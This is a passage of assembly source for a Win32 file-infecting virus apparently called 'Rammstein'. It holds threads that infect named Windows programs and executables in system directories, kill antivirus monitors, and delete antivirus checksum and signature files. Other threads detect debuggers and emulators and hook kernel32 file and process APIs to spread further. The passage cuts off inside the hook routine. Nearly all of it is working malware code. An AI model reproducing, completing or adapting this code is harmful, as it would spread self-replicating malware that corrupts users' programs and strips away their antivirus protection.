;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;Û This Thread is the direct infector thread
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Thread_1_StartAddress proc PASCAL tdelta: dword ;
|
||
call @Thread1Delta ;I have been experiencing
|
||
@Thread1Delta: ;problems with delta pass
|
||
pop ebp ;via the parameter so I
|
||
sub ebp, offset @Thread1Delta ;decided to read it again
|
||
;
|
||
IF THREAD1SEH ;
|
||
lea eax, [ebp+Thread1Exception] ; Setup a SEH frame
|
||
push eax ;
|
||
push dword ptr fs:[0] ;
|
||
mov fs:[0], esp ;
|
||
ENDIF ;
|
||
;
|
||
IF DIRECT ;
|
||
lea esi, [ebp+offset direct_list] ;point file names in the
|
||
mov ecx, direct_list_len ;Windows directory and
|
||
call not_list ;restore names...
|
||
;
|
||
push 260d ;
|
||
call windir ;get the Windows dir.
|
||
name_ db 260d dup (0) ;
|
||
;
|
||
windir: ;
|
||
call [ebp+_GetWindowsDirectoryA] ;
|
||
lea edi, [ebp+name_] ;point the dir path
|
||
xchg eax, edx ;
|
||
lea esi, [ebp+direct_list] ;point names
|
||
inc esi ;
|
||
inc esi ;
|
||
;
|
||
direct_loop: ;
|
||
mov word ptr [edi+edx], 005Ch ;mark terminator slash
|
||
cmp byte ptr [esi], 0FFh ;was last name?
|
||
je direct_end ;
|
||
call [ebp+_lstrcat], edi, esi ;concatenate stringz
|
||
lea eax, [ebp+W32FD] ;pointer to find data
|
||
call [ebp+_FindFirstFileA], edi, eax ;find file
|
||
cmp eax, INVALID_HANDLE_VALUE ;none?
|
||
je next_direct ;
|
||
;
|
||
push edi ;
|
||
lea edi, [edi.WFD_cFileName] ;
|
||
@001: cmp [ebp+free_routine], NOT_AVAILABLE ;
|
||
je @001 ;
|
||
mov [ebp+free_routine], NOT_AVAILABLE ;
|
||
call InfectFile ;Infect it!!
|
||
pop edi ;
|
||
mov [ebp+free_routine], AVAILABLE ;
|
||
;
|
||
next_direct: ;
|
||
@endsz ;go to end of string
|
||
jmp direct_loop ;and do it again...
|
||
ENDIF ;
|
||
;
|
||
direct_end: ;
|
||
lea esi, [ebp+offset direct_list] ;point names again and
|
||
mov ecx, direct_list_len ;restore encryption
|
||
call not_list ;
|
||
;
|
||
IF THREAD1SEH ;
|
||
jmp restore_thread1_seh ;host
|
||
;
|
||
Thread1Exception: ;if we had an error we
|
||
mov esp, [esp+8] ;must restore the ESP
|
||
call DeltaRecover1 ;
|
||
DeltaRecover1: ;
|
||
pop ebp ;
|
||
sub ebp, offset DeltaRecover1 ;
|
||
;
|
||
restore_thread1_seh: ;
|
||
pop dword ptr fs:[0] ;and restore the SEH
|
||
add esp, 4 ;
|
||
ENDIF ;
|
||
;
|
||
push 0 ;
|
||
push 5 ;
|
||
push [ebp+hsemaphore] ;
|
||
call [ebp+_ReleaseSemaphore] ;release the semaphore
|
||
call [ebp+_ExitThread], 0 ;
|
||
Thread_1_StartAddress endp ;
|
||
;
|
||
direct_list: ;the direct action list
|
||
IF DEBUG ;if debug is on only
|
||
noter <L> ;
|
||
noter <DGoat*.*> ;goat files will be
|
||
ELSE ;infected...
|
||
noter <L> ;
|
||
noter <Cdplayer.exe> ; Like CD music?
|
||
noter <Notepad.exe> ; Like to write stuff?
|
||
noter <Wordpad.exe> ; Like to write better?<g>
|
||
noter <Calc.exe> ; Like to calculate?
|
||
noter <DrWatson.exe> ; Fear the errors?
|
||
noter <Extrac32.exe> ; Like to extract?
|
||
noter <Mplayer.exe> ; Like mpegs?
|
||
noter <MsHearts.exe> ; Like stupid games?
|
||
noter <WinMine.exe> ; And more stupid games?
|
||
noter <Sol.exe> ; And still more stupid?
|
||
noter <SndVol32.exe> ; Like to adjust yer vol?
|
||
noter <WinHlp32.exe> ; Are you using help?
|
||
ENDIF ; Well... TO BAD !!!! ;-)
|
||
direct_list_len = $ - offset direct_list ;
|
||
db 0FFh ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;Û This Thread is the directory infector thread
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Thread_2_StartAddress proc PASCAL tdelta: dword ;
|
||
call @Thread2Delta ;
|
||
@Thread2Delta: ;
|
||
pop ebp ;
|
||
sub ebp, offset @Thread2Delta ;
|
||
;
|
||
IF THREAD2SEH ;
|
||
lea eax, [ebp+Thread2Exception] ; Setup a SEH frame
|
||
push eax ;
|
||
push dword ptr fs:[0] ;
|
||
mov fs:[0], esp ;
|
||
ENDIF ;
|
||
;
|
||
push 0 ;Get the drive type. If
|
||
call [ebp+_GetDriveTypeA] ;it is a fixed drive
|
||
sub [ebp+crt_dir_flag], eax ;than this value = 0
|
||
;
|
||
push 260 ;Get Windows directory
|
||
call @1 ;
|
||
wdir db 260 dup(0) ;
|
||
@1: call [ebp+_GetWindowsDirectoryA] ;
|
||
;
|
||
push 260 ;Get System directory
|
||
call @2 ;
|
||
sysdir db 260 dup(0) ;
|
||
@2: call [ebp+_GetSystemDirectoryA] ;
|
||
;
|
||
call @3 ;Get current directory
|
||
crtdir db 260 dup(0) ;
|
||
@3: push 260 ;
|
||
call [ebp+_GetCurrentDirectoryA] ;
|
||
;
|
||
cmp dword ptr [ebp+crt_dir_flag], 0 ;are we on a fixed disk?
|
||
jne direct_to_windows ;
|
||
;
|
||
mov dword ptr [ebp+infections], 0FFFFh ;infect all files there
|
||
call Infect_Directory ;
|
||
;
|
||
direct_to_windows: ;
|
||
cmp [ebp+firstgen], 1 ;
|
||
je back_to_current_dir ;
|
||
;
|
||
lea eax, [ebp+offset wdir] ;Change to Windows dir.
|
||
push eax ;
|
||
call [ebp+_SetCurrentDirectoryA] ;
|
||
;
|
||
mov dword ptr [ebp+infections], 3 ;infect 3 files there
|
||
call Infect_Directory ;
|
||
;
|
||
lea eax, [ebp+offset sysdir] ;Change to System dir.
|
||
push eax ;
|
||
call [ebp+_SetCurrentDirectoryA] ;
|
||
;
|
||
mov dword ptr [ebp+infections], 3 ;infect 3 files there
|
||
call Infect_Directory ;
|
||
;
|
||
back_to_current_dir: ;
|
||
lea eax, [ebp+offset crtdir] ;Change back to crt dir.
|
||
push eax ;
|
||
call [ebp+_SetCurrentDirectoryA] ;
|
||
;
|
||
IF THREAD2SEH ;
|
||
jmp restore_thread2_seh ;host
|
||
;
|
||
Thread2Exception: ;if we had an error we
|
||
mov esp, [esp+8] ;must restore the ESP
|
||
call DeltaRecover2 ;
|
||
DeltaRecover2: ;
|
||
pop ebp ;
|
||
sub ebp, offset DeltaRecover2 ;
|
||
;
|
||
restore_thread2_seh: ;
|
||
pop dword ptr fs:[0] ;and restore the SEH
|
||
add esp, 4 ;
|
||
ENDIF ;
|
||
;
|
||
push 0 ;
|
||
push 5 ;
|
||
push [ebp+hsemaphore] ;
|
||
call [ebp+_ReleaseSemaphore] ;
|
||
call [ebp+_ExitThread], 0 ;
|
||
infections dd 0 ;
|
||
crt_dir_flag dd 3 ;
|
||
;
|
||
Infect_Directory proc ;directory scanner
|
||
pusha ;
|
||
lea esi, [ebp+file_extensions] ;restore filenames
|
||
mov ecx, file_extensions_len ;
|
||
call not_list ;
|
||
inc esi ;
|
||
inc esi ;
|
||
;
|
||
find_first_file: ;
|
||
cmp byte ptr [esi], 0FFh ;last?
|
||
je done_directory ;
|
||
lea edi, [ebp+offset W32FD] ;find first!!
|
||
call [ebp+_FindFirstFileA], esi, edi ;
|
||
mov edx, eax ;
|
||
;
|
||
compare_result: ;
|
||
cmp eax, INVALID_HANDLE_VALUE ;
|
||
je next_extension ;
|
||
or eax, eax ;
|
||
je next_extension ;
|
||
push edi ;
|
||
lea edi, [edi.WFD_cFileName] ;point name...
|
||
@002: cmp [ebp+free_routine], NOT_AVAILABLE ;syncronize!!!
|
||
je @002 ;
|
||
mov [ebp+free_routine], NOT_AVAILABLE ;
|
||
call InfectFile ;infect it!
|
||
mov [ebp+free_routine], AVAILABLE ;
|
||
pop edi ;
|
||
jc find_next_file ;
|
||
dec [ebp+infections] ;
|
||
cmp [ebp+infections], 0 ;
|
||
jz done_directory ;
|
||
;
|
||
find_next_file: ;
|
||
push edx ;
|
||
call [ebp+_FindNextFileA], edx, edi ;find next
|
||
pop edx ;
|
||
jmp compare_result ;
|
||
;
|
||
next_extension: ;
|
||
@endsz ;
|
||
jmp find_first_file ;
|
||
;
|
||
done_directory: ;
|
||
lea esi, [ebp+file_extensions] ;recrypt the extenstions
|
||
mov ecx, file_extensions_len ;
|
||
call not_list ;
|
||
popa ;
|
||
ret ;
|
||
Infect_Directory endp ;
|
||
;
|
||
file_extensions: ;the list with valid
|
||
IF DEBUG ;
|
||
noter <L> ;
|
||
noter <GOAT*.EXE> ;extensions
|
||
noter <GOAT*.COM> ;
|
||
noter <GOAT*.ACM> ;
|
||
noter <GOAT*.CPL> ;
|
||
noter <GOAT*.HDI> ;
|
||
noter <GOAT*.OCX> ;
|
||
noter <GOAT*.PCI> ;
|
||
noter <GOAT*.QTC> ;
|
||
noter <GOAT*.SCR> ;
|
||
noter <GOAT*.X32> ;
|
||
noter <GOAT*.CNV> ;
|
||
noter <GOAT*.FMT> ;
|
||
noter <GOAT*.OCM> ;
|
||
noter <GOAT*.OLB> ;
|
||
noter <GOAT*.WPC> ;
|
||
ELSE ;extensions
|
||
noter <L> ;
|
||
noter <*.EXE> ;normal exe
|
||
noter <*.COM> ;same
|
||
noter <*.ACM> ;
|
||
noter <*.CPL> ;control panel object
|
||
noter <*.HDI> ;heidi file
|
||
noter <*.OCX> ;windowz ocx
|
||
noter <*.PCI> ;
|
||
noter <*.QTC> ;
|
||
noter <*.SCR> ;screen saver
|
||
noter <*.X32> ;
|
||
noter <*.CNV> ;
|
||
noter <*.FMT> ;
|
||
noter <*.OCM> ;
|
||
noter <*.OLB> ;
|
||
noter <*.WPC> ;
|
||
ENDIF ;
|
||
file_extensions_len = $-offset file_extensions ;
|
||
db 0FFh ;
|
||
Thread_2_StartAddress endp ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;Û This Thread is the AV monitors and checksums killer thread
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Thread_3_StartAddress proc PASCAL tdelta: dword ;
|
||
call @Thread3Delta ;
|
||
@Thread3Delta: ;
|
||
pop ebp ;
|
||
sub ebp, offset @Thread3Delta ;
|
||
;
|
||
IF THREAD3SEH ;
|
||
lea eax, [ebp+Thread3Exception] ; Setup a SEH frame
|
||
push eax ;
|
||
push dword ptr fs:[0] ;
|
||
mov fs:[0], esp ;
|
||
ENDIF ;
|
||
;
|
||
IF ANTIAV ;
|
||
lea esi, [ebp+av_monitors] ;First kill some monitors
|
||
mov ecx, monitors_nr ;
|
||
;
|
||
LocateMonitors: ;
|
||
push ecx ;
|
||
call [ebp+_FindWindowA], 0, esi ;
|
||
xchg eax, ecx ;
|
||
jecxz get_next_monitor ;
|
||
call [ebp+_PostMessageA], ecx, WM_ENDSESSION, 0, 0
|
||
;
|
||
get_next_monitor: ;
|
||
@endsz ;
|
||
pop ecx ;
|
||
loop LocateMonitors ;
|
||
;
|
||
lea esi, [ebp+offset av_list] ;point av files list
|
||
mov ecx, av_list_len ;and
|
||
call not_list ;restore names...
|
||
inc esi ;
|
||
inc esi ;
|
||
lea edi, [ebp+offset searchfiles] ;point to Search Record
|
||
;
|
||
locate_next_av: ;
|
||
mov eax, esi ;
|
||
cmp byte ptr [eax], 0FFh ;is this the end?
|
||
je av_kill_done ;
|
||
push edi ;push search rec. address
|
||
push eax ;push filename address
|
||
call [ebp+_FindFirstFileA] ;find first match
|
||
inc eax ;
|
||
jz next_av_file ;
|
||
dec eax ;
|
||
push eax ;
|
||
lea ebx, [edi.WFD_cFileName] ;ESI = ptr to filename
|
||
push 80h ;
|
||
push ebx ;
|
||
call [ebp+_SetFileAttributesA] ;
|
||
push ebx ;push filename address
|
||
call [ebp+_DeleteFileA] ;delete file!
|
||
;
|
||
call [ebp+_FindClose] ;close the find handle
|
||
;
|
||
next_av_file: ;
|
||
@endsz ;
|
||
jmp locate_next_av ;
|
||
;
|
||
av_kill_done: ;
|
||
lea esi, [ebp+offset av_list] ;point av files list
|
||
mov ecx, av_list_len ;
|
||
call not_list ;hide names...
|
||
ENDIF ;
|
||
;
|
||
IF THREAD3SEH ;
|
||
jmp restore_thread3_seh ;host
|
||
;
|
||
Thread3Exception: ;if we had an error we
|
||
mov esp, [esp+8] ;must restore the ESP
|
||
call DeltaRecover3 ;
|
||
DeltaRecover3: ;
|
||
pop ebp ;
|
||
sub ebp, offset DeltaRecover3 ;
|
||
;
|
||
restore_thread3_seh: ;
|
||
pop dword ptr fs:[0] ;and restore the SEH
|
||
add esp, 4 ;
|
||
ENDIF ;
|
||
;
|
||
push 0 ;
|
||
push 5 ;
|
||
push [ebp+hsemaphore] ;
|
||
call [ebp+_ReleaseSemaphore] ;
|
||
call [ebp+_ExitThread], 0 ;
|
||
Thread_3_StartAddress endp ;
|
||
av_monitors label ;
|
||
db 'AVP Monitor', 0 ;
|
||
db 'Amon Antivirus Monitor', 0 ;
|
||
monitors_nr = 2 ;
|
||
;
|
||
searchfiles WIN32_FIND_DATA <?> ;
|
||
;
|
||
av_list label ;
|
||
noter <L> ;
|
||
noter <AVP.CRC> ;the av files to kill
|
||
noter <IVP.NTZ> ;
|
||
noter <Anti-Vir.DAT> ;
|
||
noter <CHKList.MS> ;
|
||
noter <CHKList.CPS> ;
|
||
noter <SmartCHK.MS> ;
|
||
noter <SmartCHK.CPS> ;
|
||
noter <AVG.AVI> ;
|
||
noter <NOD32.000> ;
|
||
noter <DRWEBASE.VDB> ;
|
||
noter <AGUARD.DAT> ;
|
||
noter <AVGQT.DAT> ;
|
||
noter <LGUARD.VPS> ;
|
||
av_list_len = $ - offset av_list ;
|
||
db 0FFh ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;Û This Thread is the anti-debugging and anti-emulation thread
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Thread_4_StartAddress proc PASCAL tdelta: dword ;
|
||
call @Thread4Delta ;
|
||
@Thread4Delta: ;
|
||
pop ebp ;
|
||
sub ebp, offset @Thread4Delta ;
|
||
;
|
||
IF THREAD4SEH ;
|
||
lea eax, [ebp+Thread4Exception] ; Setup a SEH frame
|
||
push eax ;
|
||
push dword ptr fs:[0] ;
|
||
mov fs:[0], esp ;
|
||
ENDIF ;
|
||
;
|
||
IF ANTIEMU ;
|
||
lea eax, [ebp+DebuggerKill] ;antidebugging stuffs.
|
||
push eax ;Here we set up a new
|
||
xor ebx, ebx ;seh frame and then we
|
||
push dword ptr fs:[ebx] ;make an exception error
|
||
mov fs:[ebx], esp ;occur.
|
||
dec dword ptr [ebx] ;TD stops here if in
|
||
;default mode.
|
||
jmp shut_down ;
|
||
;
|
||
DebuggerKill: ;
|
||
mov esp, [esp+8] ;the execution goes here
|
||
pop dword ptr fs:[0] ;
|
||
add esp, 4 ;
|
||
;
|
||
db 0BDh ;delta gets lost so we
|
||
delta2 dd 0 ;must restore it...
|
||
;
|
||
call @7 ;here we try to retrieve
|
||
db 'IsDebuggerPresent', 0 ;IsDebuggerPresent API
|
||
@7: push [ebp+k32] ;if we fail it means we
|
||
call [ebp+_GetProcAddress] ;don't have this api
|
||
or eax, eax ;(Windows95)
|
||
jz continue_antiemu ;
|
||
;
|
||
call eax ;Let's check if our
|
||
or eax, eax ;process is being
|
||
jne shut_down ;debugged.
|
||
;
|
||
mov ecx, fs:[20h] ; ECX = Context of debugger
|
||
jecxz softice ; If ECX<>0, we're debugged
|
||
jmp shut_down ;
|
||
;
|
||
softice: ;
|
||
lea edi, [ebp+SoftIce1] ;try to see if we are
|
||
call detect_softice ;being debugged by
|
||
jc shut_down ;softice
|
||
lea edi, [ebp+SoftIce1] ;
|
||
call detect_softice ;
|
||
jc shut_down ;
|
||
jmp nod_ice ;
|
||
;
|
||
detect_softice: ;
|
||
xor eax, eax ;
|
||
push eax ;
|
||
push 00000080h ;
|
||
push 00000003h ;
|
||
push eax ;
|
||
inc eax ;
|
||
push eax ;
|
||
push 80000000h or 40000000h ;
|
||
push edi ;
|
||
call [ebp+_CreateFileA] ;
|
||
;
|
||
inc eax ;
|
||
jz cantcreate ;
|
||
dec eax ;
|
||
;
|
||
push eax ;
|
||
call [ebp+_CloseHandle] ;
|
||
stc ;
|
||
db 0c3h ;
|
||
;
|
||
cantcreate: ;
|
||
clc ;
|
||
db 0c3h ;
|
||
;
|
||
nod_ice: ;
|
||
cmp byte ptr [ebp+version], 4 ;can we use debug regs?
|
||
jae cannot_kill_debug ;
|
||
;
|
||
lea esi, [ebp+drs] ;Debug Registers opcodes
|
||
mov ecx, 7 ;7 registers
|
||
lea edi, [ebp+bait] ;point the opcode place
|
||
;
|
||
repp: ;
|
||
lodsb ;take the opcode
|
||
mov byte ptr [edi], al ;generate instruction
|
||
call zapp ;call it!
|
||
loop repp ;do it again
|
||
jmp compute_now ;
|
||
;
|
||
zapp: ;
|
||
xor eax, eax ;eax = 0
|
||
dw 230fh ;to mov DRx, eax
|
||
bait label ;
|
||
db 0 ;
|
||
db 0C3h ;
|
||
;
|
||
drs db 0c0h, 0c8h, 0d0h, 0d8h, 0e8h, 0f0h, 0f8h ;debug registers opcodes
|
||
;
|
||
compute_now: ;
|
||
mov eax, dr0 ;
|
||
cmp eax, 0 ;
|
||
jne shut_down ;
|
||
;
|
||
cannot_kill_debug: ;
|
||
IF MMX ;
|
||
cmp [ebp+mmx], TRUE ;
|
||
jne no_mmx_here ;
|
||
mov ecx, 6666h ;do some loops
|
||
mov eax, 1111h ;very lite mmx_usage
|
||
; movd1 mm1, esi ;
|
||
; movd1 eax, mm1 ;
|
||
; cmp eax, esi ;
|
||
; jne shut_down ;
|
||
ENDIF ;
|
||
;
|
||
no_mmx_here: ;
|
||
mov ebx, esp ;or by nod ice and
|
||
push cs ;others...
|
||
pop eax ;
|
||
cmp esp, ebx ;
|
||
jne shut_down ;
|
||
jmp continue_antiemu ;
|
||
;
|
||
shut_down: ;
|
||
IF DEBUG ;
|
||
call [ebp+_MessageBoxA], 0, offset debug, offset debug, 0
|
||
ENDIF ;
|
||
push 0 ;If so, close down!!
|
||
call [ebp+_ExitProcess] ;close
|
||
IF DEBUG ;
|
||
debug db 'Shut down by anti-emulator', 0 ;
|
||
ENDIF ;
|
||
continue_antiemu: ;
|
||
ELSE ;
|
||
ENDIF ;
|
||
;
|
||
IF THREAD4SEH ;
|
||
jmp restore_thread4_seh ;host
|
||
;
|
||
Thread4Exception: ;if we had an error we
|
||
mov esp, [esp+8] ;must restore the ESP
|
||
call DeltaRecover4 ;
|
||
DeltaRecover4: ;
|
||
pop ebp ;
|
||
sub ebp, offset DeltaRecover4 ;
|
||
;
|
||
restore_thread4_seh: ;
|
||
pop dword ptr fs:[0] ;and restore the SEH
|
||
add esp, 4 ;
|
||
ENDIF ;
|
||
;
|
||
push 0 ;
|
||
push 5 ;
|
||
push [ebp+hsemaphore] ;
|
||
call [ebp+_ReleaseSemaphore] ;
|
||
call [ebp+_ExitThread], 0 ;
|
||
;
|
||
SoftIce1 db "\\.\SICE",0 ;
|
||
SoftIce2 db "\\.\NTICE",0 ;
|
||
Thread_4_StartAddress endp ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;Û This Thread is the API hooker thread
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Thread_5_StartAddress proc PASCAL tdelta: dword ;
|
||
call @Thread5Delta ;
|
||
@Thread5Delta: ;
|
||
pop ebp ;
|
||
sub ebp, offset @Thread5Delta ;
|
||
;
|
||
IF THREAD5SEH ;
|
||
lea eax, [ebp+Thread5Exception] ; Setup a SEH frame
|
||
push eax ;
|
||
push dword ptr fs:[0] ;
|
||
mov fs:[0], esp ;
|
||
ENDIF ;
|
||
;
|
||
cmp [ebp+skipper], 1 ;
|
||
je error ;
|
||
;
|
||
IF APIHOOK ;
|
||
cmp [ebp+firstgen], 1 ;don't hook gen0
|
||
je error ;
|
||
mov ebx, dword ptr [ebp+ourimagebase] ; now put imagebase in ebx
|
||
mov esi, ebx ;
|
||
mov ax, word ptr [esi] ;
|
||
xor ax, '' ;
|
||
cmp ax, 'ZM' xor '' ; check if it is an EXE
|
||
jne error ;
|
||
mov esi, dword ptr [esi.MZ_lfanew] ; get pointer to PE
|
||
cmp esi, 1000h ; too far away?
|
||
jae error ;
|
||
add esi, ebx ;
|
||
mov ax, word ptr [esi] ;
|
||
xor ax, 'û' ;
|
||
cmp ax, 'EP' xor 'û' ; is it a PE?
|
||
jne error ;
|
||
add esi, IMAGE_FILE_HEADER_SIZE ; skip header
|
||
mov edi, dword ptr [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress]
|
||
add edi, ebx ; and get import RVA
|
||
mov ecx, dword ptr [esi.OH_DataDirectory.DE_Import.DD_Size]
|
||
add ecx, edi ; and import size
|
||
mov eax, edi ; save RVA
|
||
;
|
||
locate_module: ;
|
||
mov edi, dword ptr [edi.ID_Name] ; get the name
|
||
add edi, ebx ;
|
||
push eax ;
|
||
mov eax, [edi] ;
|
||
xor eax, 'øáý' ;
|
||
cmp eax, 'NREK' xor 'øáý' ; and compare to KERN
|
||
pop eax ;
|
||
je found_the_import_module ; if it is not that one
|
||
add eax, IMAGE_IMPORT_DESCRIPTOR_SIZE ; skip to the next desc.
|
||
mov edi, eax ;
|
||
cmp edi, ecx ; but not beyond the size
|
||
jae error ; of the descriptor
|
||
jmp locate_module ;
|
||
;
|
||
found_the_import_module: ; if we found the kernel
|
||
mov edi, eax ; import descriptor
|
||
mov esi, dword ptr [edi.ID_FirstThunk] ; take the pointer to
|
||
add esi, ebx ; addresses
|
||
mov edi, dword ptr [edi.ID_Characteristics] ; and the pointer to
|
||
or edi, edi ; no names? ;-(
|
||
jz error ;
|
||
add edi, ebx ; names
|
||
mov edx, functions_nr ;
|
||
;
|
||
hooked_api_locate_loop: ;
|
||
push edi ; save pointer to names
|
||
mov edi, dword ptr [edi.TD_AddressOfData] ; go to the actual thunk
|
||
add edi, ebx ;
|
||
add edi, 2 ; and skip the hint
|
||
;
|
||
push edi esi ; save these
|
||
xchg edi, esi ;
|
||
call StringCRC32 ; eax = crc32
|
||
;
|
||
push edi ecx ;search them...
|
||
lea edi, [ebp+HookedFunctions] ;
|
||
mov ecx, functions_nr ;
|
||
;
|
||
check: ;
|
||
cmp [edi], eax ;does it match?
|
||
je found_it ;
|
||
add edi, 8 ;get next...
|
||
loop check ;
|
||
jmp not_found ;
|
||
;
|
||
found_it: ;
|
||
mov eax, [edi+4] ;get the new address
|
||
mov [ebp+tempcounter], edi ;
|
||
add eax, ebp ;and align to imagebase
|
||
pop ecx edi ;
|
||
jmp found_one_api ;
|
||
;
|
||
not_found: ;
|
||
pop ecx edi ;
|
||
;
|
||
pop esi edi ; otherwise restore
|
||
;
|
||
pop edi ; restore arrays indexes
|
||
;
|
||
api_next: ;
|
||
add edi, 4 ; and skip to next
|
||
add esi, 4 ;
|
||
cmp dword ptr [esi], 0 ; 0? -> end of import
|
||
je error ;
|
||
jmp hooked_api_locate_loop ;
|
||
;
|
||
found_one_api: ;
|
||
pop esi ; restore stack
|
||
pop edi ;
|
||
pop edi ;
|
||
;
|
||
pusha ;
|
||
mov edi, [ebp+tempcounter] ;
|
||
mov ebx, [esi] ;
|
||
lea eax, [ebp+offset HookedFunctions] ;
|
||
sub edi, eax ;
|
||
mov ecx, 8 ;
|
||
xchg eax, edi ;
|
||
xor edx, edx ;
|
||
div ecx ;
|
||
imul eax, eax, proc_len ;
|
||
lea edi, [ebp+StartOfHooks] ;
|
||
add edi, eax ;
|
||
mov byte ptr [edi+5], 0E9h ;
|
||
sub ebx, edi ;
|
||
add ebx, 05h-0fh ;
|
||
mov [edi+6], ebx ;
|
||
popa ;
|
||
;
|
||
mov [esi], eax ;save new api address!!!
|
||
dec edx ;did we find all?
|
||
jz error ;
|
||
jmp api_next ;
|
||
ENDIF ;
|
||
;
|
||
error: ;
|
||
mov [ebp+apihookfinish], 1 ;
|
||
IF THREAD5SEH ;
|
||
jmp restore_thread5_seh ;host
|
||
;
|
||
Thread5Exception: ;if we had an error we
|
||
mov esp, [esp+8] ;must restore the ESP
|
||
call DeltaRecover5 ;
|
||
DeltaRecover5: ;
|
||
pop ebp ;
|
||
sub ebp, offset DeltaRecover5 ;
|
||
;
|
||
restore_thread5_seh: ;
|
||
pop dword ptr fs:[0] ;and restore the SEH
|
||
add esp, 4 ;
|
||
ENDIF ;
|
||
;
|
||
push 0 ;
|
||
push 5 ;
|
||
push [ebp+hsemaphore] ;
|
||
call [ebp+_ReleaseSemaphore] ;
|
||
call [ebp+_ExitThread], 0 ;
|
||
Thread_5_StartAddress endp ;
|
||
;
|
||
StartOfHooks label ;
|
||
Hook_CopyFileA: ;Here come the hook
|
||
call Hooker ;redirectors...
|
||
jmp [ebp+_CopyFileA] ;
|
||
Hook_CopyFileExA: ;
|
||
call Hooker ;
|
||
jmp [ebp+_CopyFileExA] ;
|
||
Hook_CreateFileA: ;
|
||
call CreateFileHooker ;
|
||
jmp [ebp+_CreateFileA] ;
|
||
Hook_GetCompressedFileSizeA: ;
|
||
call Hooker ;
|
||
jmp [ebp+_GetCompressedFileSizeA] ;
|
||
Hook_GetFileAttributesA: ;
|
||
call Hooker ;
|
||
jmp [ebp+_GetFileAttributesA] ;
|
||
Hook_GetFileAttributesExA: ;
|
||
call Hooker ;
|
||
jmp [ebp+_GetFileAttributesExA] ;
|
||
Hook_SetFileAttributesA: ;
|
||
call Hooker ;
|
||
jmp [ebp+_SetFileAttributesA] ;
|
||
Hook_GetFullPathNameA: ;
|
||
call Hooker ;
|
||
jmp [ebp+_GetFullPathNameA] ;
|
||
Hook_MoveFileA: ;
|
||
call Hooker ;
|
||
jmp [ebp+_MoveFileA] ;
|
||
Hook_MoveFileExA: ;
|
||
call Hooker ;
|
||
jmp [ebp+_MoveFileExA] ;
|
||
Hook_OpenFile: ;
|
||
call Hooker ;
|
||
jmp [ebp+_OpenFile] ;
|
||
Hook_CreateProcessA: ;
|
||
call Hooker ;
|
||
jmp [ebp+_CreateProcessA] ;
|
||
Hook_WinExec: ;
|
||
call Hooker ;
|
||
jmp [ebp+_WinExec] ;
|
||
Hook_DestroyWindow: ;
|
||
call ExitProcessHooker ;
|
||
jmp [ebp+_DestroyWindow] ;
|
||
Hook_ExitProcess: ;
|
||
call ExitProcessHooker ;
|
||
jmp [ebp+_ExitProcess] ;
|
||
proc_len = $-Hook_ExitProcess ;
|
||
;
|
||
Hooker proc ;And this is our hook...
|
||
pushad ;
|
||
pushfd ;
|
||
;
|
||
call @HookerDelta ;
|
||
@HookerDelta: ;
|
||
pop ebp ;
|
||
sub ebp, offset @HookerDelta ;
|
||
;
|
||
IF VIRUSNOTIFYHOOK ;
|
||
pusha ;
|
||
push 0 ;
|
||
call hooktext1 ;
|
||
db 'Rammstein viral hook code!', 0 ;
|
||
hooktext1: ;
|
||
call hooktext2 ;
|
||
db 'Rammstein viral hook code!', 0 ;
|
||
hooktext2: ;
|
||
push 0 ;
|
||
call [ebp+_MessageBoxA] ;
|
||
